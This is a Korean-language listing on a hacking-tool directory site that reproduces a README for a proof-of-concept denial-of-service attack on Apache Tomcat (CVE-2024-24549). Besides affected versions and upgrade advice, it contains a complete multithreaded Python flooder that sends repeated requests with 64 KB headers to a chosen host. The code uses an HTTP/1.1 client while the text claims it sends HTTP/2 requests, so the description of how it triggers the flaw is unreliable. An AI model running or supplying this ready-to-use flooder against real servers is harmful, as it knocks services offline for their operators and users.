Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-24549 — CVE-2024-24549에 대한 개념 증명 익스플로잇, Apache Tomcat의 HTTP/2 헤더 오버플로우를 통한 서비스 거부 취약점입니다. 테스트 및 자원 고갈을 위한 Python 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/abdurahmon3236/cve-2024-24549
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingRed Teaming
GitHubabdurahmon3236/cve-2024-24549

CVE-2024-24549

CVE-2024-24549에 대한 개념 증명 익스플로잇, Apache Tomcat의 HTTP/2 헤더 오버플로우를 통한 서비스 거부 취약점입니다. 테스트 및 자원 고갈을 위한 Python 스크립트를 포함합니다.

저장소 보기
101년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache Tomcat의 서비스 거부(DoS) 취약점에 대한 개념 증명(PoC)

이 저장소는 Apache Tomcat의 서비스 거부(DoS) 취약점을 시연하는 개념 증명(PoC) 스크립트를 포함합니다. 이 취약점은 HTTP/2 요청의 부적절한 입력 검증으로 인해 발생하며, 잠재적인 DoS 상태를 초래합니다.

취약점 설명

CVE-ID: (보류 중)

개요: Apache Tomcat 버전 11.0.0-M1 ~ 11.0.0-M16, 10.1.0-M1 ~ 10.1.18, 9.0.0-M1 ~ 9.0.85 및 8.5.0 ~ 8.5.98은 서비스 거부 공격에 취약합니다. 이 문제는 구성된 제한을 초과하는 헤더가 있는 HTTP/2 요청을 처리할 때 발생합니다. 모든 헤더가 처리될 때까지 HTTP/2 스트림이 재설정되지 않아 잠재적으로 리소스가 고갈될 수 있습니다.

영향받는 버전:

  • Apache Tomcat 11.0.0-M1 ~ 11.0.0-M16
  • Apache Tomcat 10.1.0-M1 ~ 10.1.18
  • Apache Tomcat 9.0.0-M1 ~ 9.0.85
  • Apache Tomcat 8.5.0 ~ 8.5.98

완화 조치:

  • Apache Tomcat 11.0.0-M17, 10.1.19, 9.0.86 또는 8.5.99 이상 버전으로 업그레이드하세요.

PoC 세부 정보

이 PoC 스크립트는 구성된 헤더 제한을 초과하는 HTTP/2 요청을 전송하여 DoS 취약점을 악용하는 방법을 보여줍니다. 이 스크립트는 대량의 요청을 전송하여 서버의 리소스를 소진시킵니다.

PoC 스크립트

root@kitploit:~
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os

# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"

# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

def random_string(length):
    """Generate a random string of fixed length."""
    letters = string.ascii_letters + string.digits
    return ''.join(random.choice(letters) for i in range(length))

def dynamic_payload():
    """Generate a dynamic payload for requests."""
    return random_string(random.randint(10, 100))

def send_request(conn, method, endpoint, headers, payload):
    """Send a single HTTP request."""
    conn.request(method, endpoint, body=payload, headers=headers)
    response = conn.getresponse()
    return response.status, response.reason

def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
    def worker(thread_id):
        conn = None
        try:
            conn = http.client.HTTPSConnection(host, port, timeout=10)
            for i in range(num_requests // concurrent_threads):
                method = random.choice(["GET", "POST"])
                headers = {
                    "Content-Type": "application/x-www-form-urlencoded",
                    "X-Test-Header": random_string(65536)
                }
                payload = dynamic_payload() if method == "POST" else None
                status, reason = send_request(conn, method, "/", headers, payload)
                logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")

                with open(log_file, "a") as logf:
                    logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")

                time.sleep(request_interval)

        except Exception as e:
            logging.error(f"Thread {thread_id} - An error occurred: {e}")
        finally:
            if conn:
                conn.close()

    # Create and start threads
    threads = []
    for i in range(concurrent_threads):
        thread = threading.Thread(target=worker, args=(i + 1,))
        thread.start()
        threads.append(thread)
        time.sleep(0.1)

    for thread in threads:
        thread.join()

    logging.info("Completed sending requests")

def parse_args():
    """Parse command-line arguments."""
    parser = argparse.ArgumentParser(description="HTTP Request Flooder")
    parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
    parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
    parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
    parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
    parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
    parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
    return parser.parse_args()

if __name__ == "__main__":
    args = parse_args()
    logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
    send_dos_requests(
        host=args.host,
        port=args.port,
        num_requests=args.num_requests,
        concurrent_threads=args.concurrent_threads,
        request_interval=args.request_interval,
        log_file=args.log_file
    )

설명

  1. 구성: host를 대상 서버 주소로, port를 적절한 포트(일반적으로 HTTPS의 경우 443)로 설정합니다. num_requests를 조정하여 전송할 요청 수를 제어합니다.
  2. 연결 생성: 스크립트가 대상 서버에 HTTPS 연결을 설정합니다.
  3. 헤더: 큰 헤더 값을 사용하여 구성된 헤더 제한을 초과하고 취약점을 트리거합니다.
  4. 요청 전송: 스크립트가 대상 서버에 oversized 헤더가 포함된 여러 HTTP/2 POST 요청을 전송합니다.
  5. 상태 출력: 각 요청의 상태 코드를 출력하여 영향을 모니터링합니다.

중요 고려 사항

  • 권한: 대상 서버에서 이 테스트를 수행할 명시적 권한이 있는지 확인하세요. 무단 테스트는 불법이며 비윤리적입니다.
  • 테스트 환경: 프로덕션 서비스에 지장을 주지 않도록 통제된 환경에서 테스트를 수행하세요.
  • 윤리적 사용: 이 PoC를 책임감 있게 사용하고 승인된 상황에서만 사용하세요.

완화 조치

이 취약점을 완화하려면:

  1. Apache Tomcat 업그레이드: 11.0.0-M17, 10.1.19, 9.0.86 또는 8.5.99 이상 버전으로 업데이트하세요.
  2. 구성 검토: 대규모 또는 악의적인 HTTP/2 요청을 더 효과적으로 처리하도록 서버 구성을 조정하세요.
  3. 리소스 모니터링: DoS 공격을 나타낼 수 있는 비정상적인 요청 패턴을 감지하고 대응하기 위한 모니터링을 구현하세요.

Apache Tomcat 설치 보안에 대한 자세한 내용은 공식 Apache Tomcat 문서를 참조하세요.


이 README.md는 취약점 개요, PoC 스크립트 및 완화 지침을 제공합니다. 이 PoC를 책임감 있게 처리하고 명시적 승인을 받은 시스템에서만 사용하세요.

도구 다운로드